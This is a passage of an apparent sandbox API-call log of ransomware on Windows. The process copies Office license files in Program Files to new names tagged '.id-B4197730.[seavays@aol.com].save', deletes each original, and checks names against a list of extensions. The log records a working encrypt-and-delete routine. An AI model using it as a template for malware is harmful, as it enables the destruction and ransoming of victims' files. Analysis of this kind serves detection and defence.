returned 1 [0184.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 1 [0184.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.456] lstrlenW (lpString=".doc") returned 4 [0184.456] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.456] lstrlenW (lpString=".docx") returned 5 [0184.456] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.456] lstrlenW (lpString=".pdf") returned 4 [0184.456] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.457] lstrlenW (lpString=".xls") returned 4 [0184.457] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.457] lstrlenW (lpString=".xlsx") returned 5 [0184.457] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.457] lstrlenW (lpString=".ppt") returned 4 [0184.457] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.457] lstrlenW (lpString=".zip") returned 4 [0184.457] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.457] lstrlenW (lpString=".rar") returned 4 [0184.457] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.457] lstrlenW (lpString=".bz2") returned 4 [0184.457] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.457] lstrlenW (lpString=".7z") returned 3 [0184.457] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.457] lstrlenW (lpString=".dbf") returned 4 [0184.457] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.457] lstrlenW (lpString=".1cd") returned 4 [0184.457] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.457] lstrlenW (lpString=".jpg") returned 4 [0184.457] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.458] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=19966) returned 1 [0184.458] CloseHandle (hObject=0x384) returned 1 [0184.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 0x220 [0184.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0184.459] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.460] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0184.461] GetLastError () returned 0x0 [0184.461] ReadFile (in: hFile=0x384, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0184.466] WriteFile (in: hFile=0x550, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0184.467] ReadFile (in: hFile=0x384, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.467] WriteFile (in: hFile=0x550, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11e, lpOverlapped=0x0) returned 1 [0184.841] SetEndOfFile (hFile=0x550) returned 1 [0184.842] CloseHandle (hObject=0x550) returned 1 [0184.842] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.842] SetEndOfFile (hFile=0x384) returned 1 [0184.852] CloseHandle (hObject=0x384) returned 1 [0184.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 1 [0186.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0186.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0186.174] lstrlenW (lpString=".doc") returned 4 [0186.174] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.174] lstrlenW (lpString=".docx") returned 5 [0186.174] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.175] lstrlenW (lpString=".pdf") returned 4 [0186.175] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.175] lstrlenW (lpString=".xls") returned 4 [0186.175] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.175] lstrlenW (lpString=".xlsx") returned 5 [0186.175] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.175] lstrlenW (lpString=".ppt") returned 4 [0186.175] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0186.175] lstrlenW (lpString=".zip") returned 4 [0186.175] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.175] lstrlenW (lpString=".rar") returned 4 [0186.175] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.175] lstrlenW (lpString=".bz2") returned 4 [0186.175] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.175] lstrlenW (lpString=".7z") returned 3 [0186.175] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0186.175] lstrlenW (lpString=".dbf") returned 4 [0186.175] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0186.176] lstrlenW (lpString=".1cd") returned 4 [0186.176] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0186.176] lstrlenW (lpString=".jpg") returned 4 [0186.176] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0187.010] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=22094) returned 1 [0187.010] CloseHandle (hObject=0x56c) returned 1 [0187.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 0x220 [0187.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0187.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0188.421] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.421] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0188.538] GetLastError () returned 0x0 [0188.538] ReadFile (in: hFile=0x378, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x564e, lpOverlapped=0x0) returned 1 [0188.543] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x5650, lpOverlapped=0x0) returned 1 [0188.545] ReadFile (in: hFile=0x378, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.545] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x118, lpOverlapped=0x0) returned 1 [0188.545] SetEndOfFile (hFile=0x2a8) returned 1 [0188.545] CloseHandle (hObject=0x2a8) returned 1 [0188.545] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.545] SetEndOfFile (hFile=0x378) returned 1 [0188.574] CloseHandle (hObject=0x378) returned 1 [0188.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0189.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 1 [0189.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0189.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0189.896] lstrlenW (lpString=".doc") returned 4 [0189.896] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.896] lstrlenW (lpString=".docx") returned 5 [0189.896] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.896] lstrlenW (lpString=".pdf") returned 4 [0189.896] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.896] lstrlenW (lpString=".xls") returned 4 [0189.896] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.896] lstrlenW (lpString=".xlsx") returned 5 [0189.896] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.896] lstrlenW (lpString=".ppt") returned 4 [0189.896] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0189.896] lstrlenW (lpString=".zip") returned 4 [0189.896] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.896] lstrlenW (lpString=".rar") returned 4 [0189.897] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.897] lstrlenW (lpString=".bz2") returned 4 [0189.897] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.897] lstrlenW (lpString=".7z") returned 3 [0189.897] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0189.897] lstrlenW (lpString=".dbf") returned 4 [0189.897] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0189.897] lstrlenW (lpString=".1cd") returned 4 [0189.897] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0189.897] lstrlenW (lpString=".jpg") returned 4 [0189.897] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.899] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=19958) returned 1 [0189.899] CloseHandle (hObject=0x55c) returned 1 [0189.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 0x220 [0189.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0189.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0189.901] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.901] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0189.902] GetLastError () returned 0x0 [0189.902] ReadFile (in: hFile=0x55c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x4df6, lpOverlapped=0x0) returned 1 [0189.906] WriteFile (in: hFile=0x560, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0189.908] ReadFile (in: hFile=0x55c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.908] WriteFile (in: hFile=0x560, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11a, lpOverlapped=0x0) returned 1 [0189.908] SetEndOfFile (hFile=0x560) returned 1 [0189.909] CloseHandle (hObject=0x560) returned 1 [0189.914] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.914] SetEndOfFile (hFile=0x55c) returned 1 [0189.919] CloseHandle (hObject=0x55c) returned 1 [0189.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0189.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 1 [0189.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0189.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0189.921] lstrlenW (lpString=".doc") returned 4 [0189.921] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.921] lstrlenW (lpString=".docx") returned 5 [0189.921] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.921] lstrlenW (lpString=".pdf") returned 4 [0189.921] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.921] lstrlenW (lpString=".xls") returned 4 [0189.921] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.922] lstrlenW (lpString=".xlsx") returned 5 [0189.922] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.922] lstrlenW (lpString=".ppt") returned 4 [0189.922] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0189.922] lstrlenW (lpString=".zip") returned 4 [0189.922] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.922] lstrlenW (lpString=".rar") returned 4 [0189.922] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.922] lstrlenW (lpString=".bz2") returned 4 [0189.922] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.922] lstrlenW (lpString=".7z") returned 3 [0189.922] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0189.922] lstrlenW (lpString=".dbf") returned 4 [0189.922] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0189.922] lstrlenW (lpString=".1cd") returned 4 [0189.922] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0189.922] lstrlenW (lpString=".jpg") returned 4 [0189.922] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.923] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=10659) returned 1 [0189.923] CloseHandle (hObject=0x55c) returned 1 [0189.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 0x220 [0189.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0189.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0189.926] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.926] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0189.927] GetLastError () returned 0x0 [0189.927] ReadFile (in: hFile=0x55c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x29a3, lpOverlapped=0x0) returned 1 [0189.929] WriteFile (in: hFile=0x560, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0189.931] ReadFile (in: hFile=0x55c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.931] WriteFile (in: hFile=0x560, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x112, lpOverlapped=0x0) returned 1 [0189.931] SetEndOfFile (hFile=0x560) returned 1 [0189.931] CloseHandle (hObject=0x560) returned 1 [0189.932] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.932] SetEndOfFile (hFile=0x55c) returned 1 [0190.118] CloseHandle (hObject=0x55c) returned 1 [0190.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 1 [0190.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0190.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0190.885] lstrlenW (lpString=".doc") returned 4 [0190.885] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.885] lstrlenW (lpString=".docx") returned 5 [0190.885] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.886] lstrlenW (lpString=".pdf") returned 4 [0190.886] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.886] lstrlenW (lpString=".xls") returned 4 [0190.886] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.886] lstrlenW (lpString=".xlsx") returned 5 [0190.886] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.886] lstrlenW (lpString=".ppt") returned 4 [0190.886] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0190.886] lstrlenW (lpString=".zip") returned 4 [0190.886] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.886] lstrlenW (lpString=".rar") returned 4 [0190.886] lstrcmpiW 